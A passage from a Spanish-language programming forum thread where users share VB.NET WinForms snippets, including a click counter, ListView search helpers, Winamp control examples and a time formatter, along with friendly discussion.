  50.        End Sub
  51.  
  52.        Public Sub OnPrivate(ByVal user As Sharkbite.Irc.UserInfo, ByVal message As String)
  53.            If message = "die" Then
  54.                conn.Disconnect("Goodbye!")
  55.            End If
  56.        End Sub
  57.  
  58.        Public Sub OnError(ByVal code As Sharkbite.Irc.ReplyCode, ByVal message As String)
  59.            Console.WriteLine("An error of type " + code + " due to " + message + " has occurred.")
  60.        End Sub
  61.  
  62.        Public Sub OnDisconnected()
  63.            Console.WriteLine("Connection to server closed!")
  64.        End Sub
  65.    End Class
  66.  
  67. End Module


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 27 Junio 2013, 17:20 pm
Hoy pensé en añadir la funcionalidad de seleccionar todo el texto haciendo triple click sobre un textbox... y he dado con este snippet: http://www.codeproject.com/Articles/23498/A-Simple-Method-for-Handling-Multiple-Clicking-on

Es un contador de clicks, así que se puede utilizar como Triple-Click, o Cuadruple-Click o lo que quieran... xD

Código
  1. Public Class Form1
  2.  
  3. #Region " Mouse-Click Count "
  4.  
  5.    ''' <summary>
  6.    ''' The Click-Timer area bounds.
  7.    ''' </summary>
  8.    ''' <remarks></remarks>
  9.    Private ClickArea As Rectangle
  10.  
  11.    ''' <summary>
  12.    ''' The mouse button clicked.
  13.    ''' </summary>
  14.    ''' <remarks></remarks>
  15.    Private ClickButton As MouseButtons
  16.  
  17.    ''' <summary>
  18.    ''' Accumulate clicks for the Click-Timer.
  19.    ''' </summary>
  20.    ''' <remarks></remarks>
  21.    Private ClickCount As Int32
  22.  
  23.    ''' <summary>
  24.    ''' Save the Click-Timer double-click delay time (ms).
  25.    ''' </summary>
  26.    ''' <remarks></remarks>
  27.    Private ClickDelay As Int32 = SystemInformation.DoubleClickTime
  28.  
  29.    ''' <summary>
  30.    ''' String description of the appropriate owner of the Click-Timer expiry event.
  31.    ''' </summary>
  32.    ''' <remarks></remarks>
  33.    Private ClickOwner As String = ""
  34.  
  35.    ''' <summary>
  36.    ''' Save the Click-Timer double-click area bounds.
  37.    ''' </summary>
  38.    ''' <remarks></remarks>
  39.    Private ClickSize As Size = SystemInformation.DoubleClickSize
  40.  
  41.    ''' <summary>
  42.    ''' Create a new Click-Timer with events.
  43.    ''' </summary>
  44.    ''' <remarks></remarks>
  45.    Private WithEvents ClickTimer As New Timer
  46.  
  47.    ''' <summary>
  48.    ''' Click-Timer "Tick" event handler.
  49.    ''' </summary>
  50.    ''' <param name="sender">Event object owner.</param>
  51.    ''' <param name="e">Event arguments.</param>
  52.    ''' <remarks></remarks>
  53.    Private Sub ClickTimer_TickHandler(ByVal sender As Object, ByVal e As EventArgs) Handles ClickTimer.Tick
  54.        Me.ClickTimer.Stop()
  55.        Me.ClickCount = 0
  56.    End Sub
  57.  
  58.    ''' <summary>
  59.    ''' Initialise the Click-Timer with Owner and valid double-click area.
  60.    ''' </summary>
  61.    ''' <param name="aOwnerControl">Click-Timer owner control (string).</param>
  62.    ''' <param name="aMouseButton">Mouse button clicked.</param>
  63.    ''' <param name="aClickPoint">Click point for definition of the valid double-click area.</param>
  64.    ''' <remarks></remarks>
  65.    Private Sub ClickTimer_Initialise(ByVal aOwnerControl As String, _
  66.                                      ByVal aMouseButton As MouseButtons, _
  67.                                      ByVal aClickPoint As Point)
  68.  
  69.        ' Stop the Click-Timer.
  70.        Me.ClickTimer.Stop()
  71.        ' Save the owner control text.
  72.        Me.ClickOwner = aOwnerControl
  73.        ' Save the mouse button.
  74.        Me.ClickButton = aMouseButton
  75.        ' This is the first click.
  76.        Me.ClickCount = 1
  77.        ' Define the valid double-click area for any multi-clicking.
  78.        Me.ClickArea = New Rectangle _
  79.              (aClickPoint.X - Me.ClickSize.Width \ 2 _
  80.              , aClickPoint.Y - Me.ClickSize.Height \ 2 _
  81.              , Me.ClickSize.Width, Me.ClickSize.Height)
  82.        ' Set the system default double-click delay.
  83.        Me.ClickTimer.Interval = Me.ClickDelay
  84.        ' Start the Click-Timer.
  85.        Me.ClickTimer.Start()
  86.  
  87.    End Sub
  88.  
  89.    ''' <summary>
  90.    ''' Register a mouse click (or double click) event.
  91.    ''' </summary>
  92.    ''' <param name="aOwnerControl">Click-Timer owner control (string).</param>
  93.    ''' <param name="aMouseButton">Mouse button clicked.</param>
  94.    ''' <param name="aClickPoint">Click point for definition of the valid double-click area.</param>
  95.    ''' <remarks></remarks>
  96.    Private Sub ClickTimer_Click(ByVal aOwnerControl As String, _
  97.                                 ByVal aMouseButton As MouseButtons, _
  98.                                 ByVal aClickPoint As Point)
  99.  
  100.        ' Handle this click event.
  101.        If Me.ClickTimer.Enabled Then
  102.            ' The Click-Timer is going, stop it and check we haven't changed controls.
  103.            Me.ClickTimer.Stop()
  104.            If Me.ClickOwner = aOwnerControl _
  105.            AndAlso Me.ClickButton = aMouseButton _
  106.            AndAlso Me.ClickArea.Contains(aClickPoint) Then
  107.                ' Working with the same control, same button within a valid double-click area so bump the count.
  108.                Me.ClickCount += 1
  109.                ' Set the system default double-click delay.
  110.                Me.ClickTimer.Interval = Me.ClickDelay
  111.                ' Start the Click-Timer.
  112.                Me.ClickTimer.Start()
  113.            Else
  114.                ' Not working with the same control. Initialise the Click-Timer.
  115.                Me.ClickTimer_Initialise(aOwnerControl, aMouseButton, aClickPoint)
  116.            End If
  117.        Else
  118.            ' The timer is not enabled. Initialise the Click-Timer.
  119.            Me.ClickTimer_Initialise(aOwnerControl, aMouseButton, aClickPoint)
  120.        End If
  121.  
  122.    End Sub
  123.  
  124. #End Region
  125.  
  126.    Private Sub TextBox1_Clicked(ByVal sender As Object, ByVal e As MouseEventArgs) _
  127.    Handles TextBox1.MouseClick, TextBox1.MouseDoubleClick
  128.  
  129.        Me.ClickTimer_Click(sender.name, e.Button, e.Location)
  130.  
  131.        If ClickCount = 3 Then ' Triple Click to select all text.
  132.            sender.SelectAll()
  133.        End If
  134.  
  135.    End Sub
  136.  
  137. End Class

Saludos.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 28 Junio 2013, 12:34 pm
Función para comprobar si un ListView contiene cierto texto:

PD: La verdad es que no es muy útil a menos que le añada más opciones, la hice porque muchas veces se me olvida el nombre del método "FindItemWithText" y eso me hace perder tiempo :silbar:

Código
  1. #Region " Find ListView Text "
  2.  
  3.    ' [ Find ListView Text Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Find_ListView_Text(ListView1, "Hello"))
  9.    ' If Find_ListView_Text(ListView1, "Hello") Then...
  10.  
  11.    Private Function Find_ListView_Text(ByVal ListView As ListView, ByVal Text As String) As Boolean
  12.        Try : Return Convert.ToBoolean(ListView.FindItemWithText(Text)) : Catch : Return True : End Try
  13.    End Function
  14.  
  15. #End Region

Ejemplo de uso:

Código
  1.    Private Sub Status_Timer_Tick(sender As Object, e As EventArgs) Handles Status_Timer.Tick
  2.  
  3.        If Find_ListView_Text(ListView1, TextBox_Filename.Text) Then
  4.            Label_Status.Text = "Current song found"
  5.        Else
  6.            Label_Status.Text = "Current song not found"
  7.        End If
  8.  
  9.    End Sub


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 28 Junio 2013, 16:30 pm
[Textbox] Show end part of text

Este snippet no se muy bien como explicarlo en pocas palabras, así que lo voy a explicar con imágenes...

Cuando excedemos el límite visible del textbox, la parte del final, es decir la parte derecha no se muestra:

(http://img839.imageshack.us/img839/4504/fi7d.jpg)

Pues con este snippet omitiremos la parte de la izquierda, mostrando hasta la parte final del texto:

(http://img198.imageshack.us/img198/5504/qhaw.jpg)

Código
  1.    Private Sub TextBox_TextChanged(sender As Object, e As EventArgs) _
  2.    Handles TextBox1.TextChanged
  3.  
  4.        ' If the text reaches the writable box size then this shows the end part of the text.                                                          
  5.        sender.Select(sender.TextLength, sender.TextLength)
  6.  
  7.    End Sub

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 28 Junio 2013, 16:48 pm
A ti te dejan doble postear? >:(
Muy buenos snippets :)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 28 Junio 2013, 16:52 pm
¿En la del listview no se puede hacer listview.items.indexof("txt")? ¿o utiliza algún tipo de encapsulación distinta al string cada item?


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 28 Junio 2013, 17:03 pm
A ti te dejan doble postear? >:(

No lo considero doble-postear, posteo cuando tengo un nuevo snippet o una cantidad de snippets, a veces me los creo/consigo de 1 en 1 o de 5 en 5, nunca se sabe...

PD: A mi no me trollees xD



¿En la del listview no se puede hacer listview.items.indexof("txt")? ¿o utiliza algún tipo de encapsulación distinta al string cada item?

El ...IndexOf("text") rquiere pasarle un "ListiewItem", no he podido pasarle un string para probar.

PD: A ver si consigues mejorarlo tu :P

un saludo!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 28 Junio 2013, 18:27 pm
Un ListView extendido para monitorizar cuando se añade y cuando se elimina un Item.

MUY IMPORTANTE: Hay que utilizar los nuevos métodos (AddItem, RemoveItem) en lugar de usar el antiguo ...items.Add o ...items.Remove, para que funcione.

PD: Si alguien sabe como overridearlos de forma correcta que lo diga :P

Código
  1. '  /*                  *\
  2. ' |#* ListView Elektro *#|
  3. '  \*                  */
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. '   Properties:
  8. '   ...........
  9. ' · Disable_Flickering
  10. ' · Double_Buffer
  11. '
  12. '   Events:
  13. '   .......
  14. ' · ItemAdded
  15. ' · ItemRemoved
  16. '
  17. '   Methods:
  18. '   .......
  19. ' · AddItem
  20. ' · RemoveItem
  21.  
  22. Public Class ListView_Elektro : Inherits ListView
  23.  
  24.    Public Event ItemAdded()
  25.    Public Event ItemRemoved()
  26.  
  27.    Private _Disable_Flickering As Boolean = True
  28.  
  29.    Public Sub New()
  30.        Me.Name = "ListView_Elektro"
  31.        Me.DoubleBuffered = True
  32.        ' Me.GridLines = True
  33.        ' Me.MultiSelect = True
  34.        ' Me.FullRowSelect = True
  35.        ' Me.View = View.Details
  36.    End Sub
  37.  
  38. #Region " Properties "
  39.  
  40.    ''' <summary>
  41.    ''' Enable/Disable any flickering effect on the ListView.
  42.    ''' </summary>
  43.    Protected Overrides ReadOnly Property CreateParams() As CreateParams
  44.        Get
  45.            If _Disable_Flickering Then
  46.                Dim cp As CreateParams = MyBase.CreateParams
  47.                cp.ExStyle = cp.ExStyle Or &H2000000
  48.                Return cp
  49.            Else
  50.                Return MyBase.CreateParams
  51.            End If
  52.        End Get
  53.    End Property
  54.  
  55.    ''' <summary>
  56.    ''' Set the Double Buffer.
  57.    ''' </summary>
  58.    Public Property Double_Buffer() As Boolean
  59.        Get
  60.            Return Me.DoubleBuffered
  61.        End Get
  62.        Set(ByVal Value As Boolean)
  63.            Me.DoubleBuffered = Value
  64.        End Set
  65.    End Property
  66.  
  67.    ''' <summary>
  68.    ''' Enable/Disable the flickering effects on this ListView.
  69.    '''
  70.    ''' This property turns off any Flicker effect on the ListView
  71.    ''' ...but also reduces the performance (speed) of the ListView about 30% slower.
  72.    ''' This don't affect to the performance of the application itself, only to the performance of this control.
  73.    ''' </summary>
  74.    Public Property Disable_Flickering() As Boolean
  75.        Get
  76.            Return _Disable_Flickering
  77.        End Get
  78.        Set(ByVal Value As Boolean)
  79.            Me._Disable_Flickering = Value
  80.        End Set
  81.    End Property
  82.  
  83. #End Region
  84.  
  85. #Region " Methods "
  86.  
  87.    ''' <summary>
  88.    ''' Add an item to the ListView.
  89.    ''' </summary>
  90.    Public Function AddItem(ByVal Text As String) As ListViewItem
  91.        RaiseEvent ItemAdded()
  92.        Return MyBase.Items.Add(Text)
  93.    End Function
  94.  
  95.    ''' <summary>
  96.    ''' Remove an item from the ListView.
  97.    ''' </summary>
  98.    Public Sub RemoveItem(ByVal Item As ListViewItem)
  99.        RaiseEvent ItemRemoved()
  100.        MyBase.Items.Remove(Item)
  101.    End Sub
  102.  
  103. #End Region
  104.  
  105. End Class


Ejemplo de uso:

Código
  1. #Region " [ListView Elektro] Monitor Item added-removed "
  2.  
  3.    ' [ListView Elektro] Monitor Item added-removed
  4.    '
  5.    ' // By Elektro H@cker
  6.  
  7.        Private Sub Main_Load(sender As Object, e As EventArgs) Handles MyBase.Shown
  8.           Dim Item As ListViewItem = ListView1.AddItem("Test") ' Add the item
  9.           ListView1.RemoveItem(Item) ' Remove the item
  10.       End Sub
  11.  
  12.       Private Sub ListView_ItemChanged() Handles ListView1.ItemAdded, ListView1.ItemRemoved
  13.  
  14.           ' I check if exists at least 1 item inside the ListView
  15.           If ListView1.Items.Count <> 1 Then MsgBox("Listview have items.") Else MsgBox("Listview is empty.")
  16.  
  17.       End Sub
  18.  
  19. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 29 Junio 2013, 21:20 pm
En una aplicación tengo un textbox donde escribo "X" texto y después añado ese texto a un control, pues bien, después de añadir el texto al control, necesito refrescar el texto del Textbox para que se "raisee" el evento OnTextChanged del textbox, pero esto es imposible hacerlo usando Refresh o Invalidate porque lo que actualizan es el drawing del control, no el texto, la única manera es modificando el texto...

...Así que hice este pequeñísimo procedimiento genérico:
Código
  1.    ' Refresh Textbox Text
  2.    Private Sub Refresh_Textbox_Text(ByVal TextBox As TextBox)
  3.        Dim TempText As String = TextBox.Text
  4.        TextBox.Clear()
  5.        TextBox.Text = TempText
  6.    End Sub

Es muy sencilla, pero a alguien le servirá.

' Aquí otra forma:
Código
  1.    Private Sub textBox1_Invalidated(sender As Object, e As System.Windows.Forms.InvalidateEventArgs) Handles textBox1.Invalidated
  2.        textBox1_TextChanged(sender, New EventArgs())
  3.    End Sub

Saludos.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 29 Junio 2013, 21:58 pm
Pregunta puedo hacer un Snippet en varios lenguajes (php, html, mysql y batch) ? :silbar:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 29 Junio 2013, 22:16 pm
Como si puedes hacerlos en varios lenguajes?


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 29 Junio 2013, 23:03 pm
Ya he dicho los lenguajes aunque lo que voy a postear iría más bien en Scripting.. :silbar:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Junio 2013, 02:18 am
lo que voy a postear iría más bien en Scripting.. :silbar:

Estamos en .NET, no en scripting ...¿No?.

No es mi trabajo decirte esto pero podrías mandar un privado a uno de los moderadores de esta sección para que te resuelva ese tipo de preguntas, en lugar de volver a spamear este post con preguntas que tienen respuestas obvias... poder puedes postearlo si compensas posteando la parte de .NET, creo que NovLucker pensará igual, somos comprensivos (nos da un poco igual que lo hagas xD), ahora, muy correcto no es hacer eso ...tu mismo.

Saludos...


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 30 Junio 2013, 11:56 am
Si la verdad es que a veces digo cosas que me las podría callar, lo siento. ;)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: SγиtαxEяяoя en 1 Julio 2013, 01:30 am
Creo que me ausente algo, sera porque mi maldito proveedor de internet es una ***** que hasta las imagenes de tumblr e imageshack me las bloquea -.-"

Pero claro el foro tambien.



Syntax le haría falta uno de SoundCloud, porque no le damos una sorpresa entre los dos? :silbar:

No sera necesario, con la ayuda de electro me fue mas que suficiente :)
pero igual puedes sorprenderme, aunque igual me sorprenderia mas lo que electro que mostrara. no es por nada pero el sabe mas


Se le dieron las herramientas necesarias, es fácil usar RegEx, solo tiene que mostrar sus progresos intentando hacer el code y...

Saludos

Si, me distes las herramientas pero no solo era la GUI que hice tambien su codigo :)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 1 Julio 2013, 04:34 am
Un AppActivate más sencillo de usar que el default, se puede usar especificando el nombre del proceso.

PD: Sirve para activar (darle Focus) a un proceso externo.

Código
  1.    #Region " App Activate "
  2.  
  3.    ' [ App Activate ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' App_Activate("cmd")
  10.    ' App_Activate("cmd.exe")
  11.    ' If App_Activate("cmd") Then...
  12.  
  13.    Private Function App_Activate(ByVal ProcessName As String) As Boolean
  14.        If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
  15.        Dim ProcessArray = Process.GetProcessesByName(ProcessName)
  16.        If ProcessArray.Length = 0 Then
  17.            Return False
  18.        Else
  19.            AppActivate(ProcessArray(0).Id)
  20.            Return True
  21.            End If
  22.    End Function
  23.  
  24.    #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 1 Julio 2013, 09:01 am
Una Class para controlar WinAmp: http://pastebin.com/4yC91AnD
También está disponible compilada en un dll: http://sourceforge.net/projects/wacc/

PD: Funciona en las versiones 5.X

Ejemplos de uso (Aparte de los oficiales):

Código
  1. #Region " Examples "
  2.  
  3. ' // By Elektro H@cker
  4. '
  5. ' INSTRUCTIONS:
  6. '
  7. ' 1. Add a reference for "WACC.DLL"
  8.  
  9. Public Class Form1
  10.  
  11.    Dim Winamp As WACC.clsWACC = New WACC.clsWACC
  12.  
  13.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  14.  
  15.        ' // Bind the WinAmp process to the variable object
  16.        Winamp.Bind()
  17.  
  18.        ' // Get WinAmp process PID
  19.        ' Winamp.ProcessID()
  20.  
  21.        ' // Close WinAmp
  22.        ' Winamp.CloseWinamp()
  23.  
  24.        ' // Restart WinAmp
  25.        ' Winamp.RestartWinamp()
  26.  
  27.        ' // Open new instance of WinAmp
  28.        ' Winamp.OpenNewInstance()
  29.  
  30.        ' // Play playback
  31.        ' Winamp.Playback.Play()
  32.  
  33.        ' // Pause playback
  34.        ' Winamp.Playback.PauseUnpause()
  35.  
  36.        ' // Stop playback
  37.        ' Winamp.Playback.Stop()
  38.  
  39.        ' // Junp to previous track
  40.        ' Winamp.Playlist.JumpToPreviousTrack()
  41.  
  42.        ' // Junp to next track
  43.        ' Winamp.Playlist.JumpToNextTrack()
  44.  
  45.        ' // Rewind 5 seconds of the current song
  46.        ' Winamp.Playback.Rewind5s()
  47.  
  48.        ' // Forward 5 seconds of the current song
  49.        ' Winamp.Playback.Forward5s()
  50.  
  51.        ' // Get Track Length
  52.        ' Winamp.Playback.GetTrackLength * 1000 '(ms)
  53.  
  54.        ' // Set Track Position
  55.        ' Winamp.Playback.TrackPosition = 60000 ' (ms)
  56.  
  57.        ' // Get WinAmp state
  58.        ' MsgBox(Winamp.Playback.PlaybackState().ToString)
  59.        ' If Winamp.Playback.PlaybackState = clsWACC.cPlayback.Playback_State.Playing Then : End If
  60.  
  61.        ' // Set volume
  62.        ' Winamp.AudioControls.Volume = Math.Round(50 / (100 / 255))
  63.  
  64.        ' // Volume up
  65.        ' Winamp.AudioControls.VolumeUp()
  66.  
  67.        ' // Volume down
  68.        ' Winamp.AudioControls.VolumeDown()
  69.  
  70.        ' // Get current track BitRate
  71.        ' MsgBox(Winamp.Playback.Bitrate.ToString & " kbps")
  72.  
  73.        ' // Get current track SampleRate
  74.        ' MsgBox(Winamp.Playback.SampleRate.ToString & " kHz")
  75.  
  76.        ' // Get current track channels
  77.        ' MsgBox(Winamp.Playback.Channels.ToString & " channels")
  78.  
  79.        ' // Clear playlist
  80.        ' Winamp.Playlist.Clear()
  81.  
  82.        ' // Remove missing files in playlist
  83.        ' Winamp.Playlist.RemoveMissingFiles()
  84.  
  85.        ' // Enable/Disable Shuffle
  86.        ' Winamp.Playback.ShuffleEnabled = True
  87.  
  88.        ' // Enable/Disable Repeat
  89.        ' Winamp.Playback.RepeatEnabled = True
  90.  
  91.        ' // Set WinAmp OnTop
  92.        ' Winamp.Options.AlwaysOnTop = True
  93.  
  94.    End Sub
  95.  
  96. End Class
  97.  
  98. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Julio 2013, 07:27 am
He extendido y mejorado la función para buscar texto en la colección de Items de un listview:

PD: la versión antigua la pueden encontrar aquí: http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1865639#msg1865639

#Region " [ListView] Find ListView Text "

    ' [ListView] Find ListView Text Function
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Find_ListView_Text(ListView1, "Test"))
    ' MsgBox(Find_ListView_Text(ListView1, "Test", 2, True, True))
    ' If Find_ListView_Text(ListView1, "Test") Then...

    Private Function Find_ListView_Text(ByVal ListView As ListView, _
                                        ByVal SearchString As String, _
                                        Optional ByVal ColumnIndex As Int32 = Nothing, _
                                        Optional ByVal MatchFullText As Boolean = True, _
                                        Optional ByVal IgnoreCase As Boolean = True) As Boolean

        Dim ListViewColumnIndex As Int32 = ListView.Columns.Count - 1

        Select Case ColumnIndex

            Case Is < 0, Is > ListViewColumnIndex ' ColumnIndex is out of range

                Throw New Exception("ColumnIndex is out of range. " & vbNewLine & _
                                    "ColumnIndex Argument: " & ColumnIndex & vbNewLine & _
                                    "ColumnIndex ListView: " & ListViewColumnIndex)

            Case Nothing ' ColumnIndex is nothing

                If MatchFullText AndAlso IgnoreCase Then ' Match full text, All columns, IgnoreCase
                    For Each Item As ListViewItem In ListView.Items
                        For X As Int32 = 0 To ListViewColumnIndex
                            If Item.SubItems(X).Text.ToLower = SearchString.ToLower Then Return True
                        Next
                    Next
                ElseIf MatchFullText AndAlso Not IgnoreCase Then ' Match full text, All columns, CaseSensitive
                    For Each Item As ListViewItem In ListView.Items
                        For X As Int32 = 0 To ListViewColumnIndex
                            If Item.SubItems(X).Text = SearchString Then Return True
                        Next
                    Next
                ElseIf Not MatchFullText AndAlso IgnoreCase Then ' Match part of text, All columns, IgnoreCase
                    If ListView1.FindItemWithText(SearchString) IsNot Nothing Then _
                         Return True _
                    Else Return False
                ElseIf Not MatchFullText AndAlso Not IgnoreCase Then ' Match part of text, All columns, CaseSensitive
                    For Each Item As ListViewItem In ListView.Items
                        For X As Int32 = 0 To ListViewColumnIndex
                            If Item.SubItems(X).Text.Contains(SearchString) Then Return True
                        Next
                    Next
                End If

            Case Else ' ColumnIndex is other else

                If MatchFullText AndAlso IgnoreCase Then ' Match full text, ColumnIndex, IgnoreCase
                    For Each Item As ListViewItem In ListView.Items
                        If Item.SubItems(ColumnIndex).Text.ToLower = SearchString.ToLower Then Return True
                    Next
                ElseIf MatchFullText AndAlso Not IgnoreCase Then  ' Match full text, ColumnIndex, CaseSensitive
                    For Each Item As ListViewItem In ListView.Items
                        If Item.SubItems(ColumnIndex).Text = SearchString Then Return True
                    Next
                ElseIf Not MatchFullText AndAlso IgnoreCase Then ' Match part of text, ColumnIndex, IgnoreCase
                    For Each Item As ListViewItem In ListView.Items
                        If Item.SubItems(ColumnIndex).Text.ToLower.Contains(SearchString.ToLower) Then Return True
                    Next
                ElseIf Not MatchFullText AndAlso Not IgnoreCase Then ' Match part of text, ColumnIndex, CaseSensitive
                    For Each Item As ListViewItem In ListView.Items
                        If Item.SubItems(ColumnIndex).Text.Contains(SearchString) Then Return True
                    Next
                End If

        End Select

        Return False

    End Function

#End Region



EDITO:

Vuelto a mejorar:

(El anterior no medía la cantidad de subitems de cada item, por ejemplo en un listview con 3 columnas, un item con dos subitems y otro item con 3 subitems entonces daba error porque el primer item no tenia un tercer subitem)

Código
  1. #Region " [ListView] Find ListView Text "
  2.  
  3.    ' [ListView] Find ListView Text Function
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Find_ListView_Text(ListView1, "Test"))
  9.    ' MsgBox(Find_ListView_Text(ListView1, "Test", 2, True, True))
  10.    ' If Find_ListView_Text(ListView1, "Test") Then...
  11.  
  12.    Private Function Find_ListView_Text(ByVal ListView As ListView, _
  13.                                        ByVal SearchString As String, _
  14.                                        Optional ByVal ColumnIndex As Int32 = Nothing, _
  15.                                        Optional ByVal MatchFullText As Boolean = True, _
  16.                                        Optional ByVal IgnoreCase As Boolean = True) As Boolean
  17.  
  18.        Select Case ColumnIndex
  19.  
  20.            Case Is < 0, Is > ListView.Columns.Count - 1 ' ColumnIndex is out of range
  21.  
  22.                Throw New Exception("ColumnIndex is out of range. " & vbNewLine & _
  23.                                    "ColumnIndex Argument: " & ColumnIndex & vbNewLine & _
  24.                                    "ColumnIndex ListView: " & ListView.Columns.Count - 1)
  25.  
  26.            Case Nothing ' ColumnIndex is nothing
  27.  
  28.                If MatchFullText Then ' Match full text in all columns
  29.  
  30.                    For Each Item As ListViewItem In ListView.Items
  31.                        For X As Int32 = 0 To Item.SubItems.Count - 1
  32.                            If String.Compare(Item.SubItems(X).Text, SearchString, IgnoreCase) = 0 Then
  33.                                Return True
  34.                            End If
  35.                        Next
  36.                    Next
  37.  
  38.                ElseIf Not MatchFullText Then ' Match part of text in all columns
  39.  
  40.                    Select Case IgnoreCase
  41.                        Case True ' IgnoreCase
  42.                            If ListView1.FindItemWithText(SearchString) IsNot Nothing Then
  43.                                Return True
  44.                            End If
  45.                        Case False ' CaseSensitive
  46.                            For Each Item As ListViewItem In ListView.Items
  47.                                For X As Int32 = 0 To Item.SubItems.Count - 1
  48.                                    If Item.SubItems(X).Text.Contains(SearchString) Then Return True
  49.                                Next
  50.                            Next
  51.                    End Select
  52.  
  53.                End If
  54.  
  55.            Case Else ' ColumnIndex is other else
  56.  
  57.                If MatchFullText Then ' Match full text in ColumnIndex
  58.  
  59.                    For Each Item As ListViewItem In ListView.Items
  60.                        If String.Compare(Item.SubItems(ColumnIndex).Text, SearchString, IgnoreCase) = 0 Then
  61.                            Return True
  62.                        End If
  63.                    Next
  64.  
  65.                ElseIf Not MatchFullText Then ' Match part of text in ColumnIndex
  66.  
  67.                    For Each Item As ListViewItem In ListView.Items
  68.                        Select Case IgnoreCase
  69.                            Case True ' IgnoreCase
  70.                                If Item.SubItems(ColumnIndex).Text.ToLower.Contains(SearchString.ToLower) Then
  71.                                    Return True
  72.                                End If
  73.                            Case False ' CaseSensitive
  74.                                If Item.SubItems(ColumnIndex).Text.Contains(SearchString) Then
  75.                                    Return True
  76.                                End If
  77.                        End Select
  78.                    Next
  79.  
  80.                End If
  81.  
  82.        End Select
  83.  
  84.        Return False ' Any matches
  85.  
  86.    End Function
  87.  
  88. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 3 Julio 2013, 10:42 am
Ya he actualizado el Updater :)

http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1864041#msg1864041

Ahora si va. ;D


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 3 Julio 2013, 14:31 pm
Ahora si va. ;D

No quiero desvirtuar mucho el tema, pero por curiosidad cual era el fallo?


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 3 Julio 2013, 14:51 pm
No quiero desvirtuar mucho el tema, pero por curiosidad cual era el fallo?

Que el archivo no se descargaba, no lo hablamos ayer? xD


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 3 Julio 2013, 15:54 pm
Que el archivo no se descargaba, no lo hablamos ayer? xD

claro, quiero decir que ¿Como lo arreglaste? que correcciones habia que hacerle? xD


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 3 Julio 2013, 17:19 pm
Pues llevababas tu razón con los Ifs... A parte:

Código
  1. If File.Exists(patha) Then
  2.            File.Delete(patha)
  3.        End If

Esto si lo pongo al final, lo va a borrar y no va a leer nada. Si lo ponemos al principio, lo borra y lo vuelve a descargar. :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 3 Julio 2013, 17:38 pm
Format Time

Formatea un número de milisegundos.

Código
  1. #Region " Format Time "
  2.  
  3.    ' [ Format Time Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Format_Time(61500, TimeFormat.M_S_MS)) ' Result: "01:01:500"
  9.    ' MsgBox(Format_Time(65000, TimeFormat.M_S))    ' Result: "01:05"
  10.  
  11.    ' TimeFormat [ENUM]
  12.    Public Enum TimeFormat
  13.        D_H_M_S_MS
  14.        D_H_M_S
  15.        D_H_M
  16.        D_H
  17.        D
  18.  
  19.        H_M_S_MS
  20.        H_M_S
  21.        H_M
  22.        H
  23.  
  24.        M_S_MS
  25.        M_S
  26.        M
  27.  
  28.        S_MS
  29.        S
  30.    End Enum
  31.  
  32.    ' Format Time [FUNC]
  33.    Private Function Format_Time(ByVal MilliSeconds As Int64, ByVal TimeFormat As TimeFormat) As String
  34.  
  35.        Dim Time As New TimeSpan(TimeSpan.TicksPerMillisecond * MilliSeconds)
  36.  
  37.        Select Case TimeFormat
  38.  
  39.            Case TimeFormat.D_H_M_S_MS
  40.                Return Time.ToString("dd\:hh\:mm\:ss\:fff")
  41.            Case TimeFormat.D_H_M_S
  42.                Return Time.ToString("dd\:hh\:mm\:ss")
  43.            Case TimeFormat.D_H_M
  44.                Return Time.ToString("dd\:hh\:mm")
  45.            Case TimeFormat.D_H
  46.                Return Time.ToString("dd\:hh")
  47.            Case TimeFormat.D
  48.                Return Time.ToString("dd")
  49.            Case TimeFormat.H_M_S_MS
  50.                Return Time.ToString("hh\:mm\:ss\:fff")
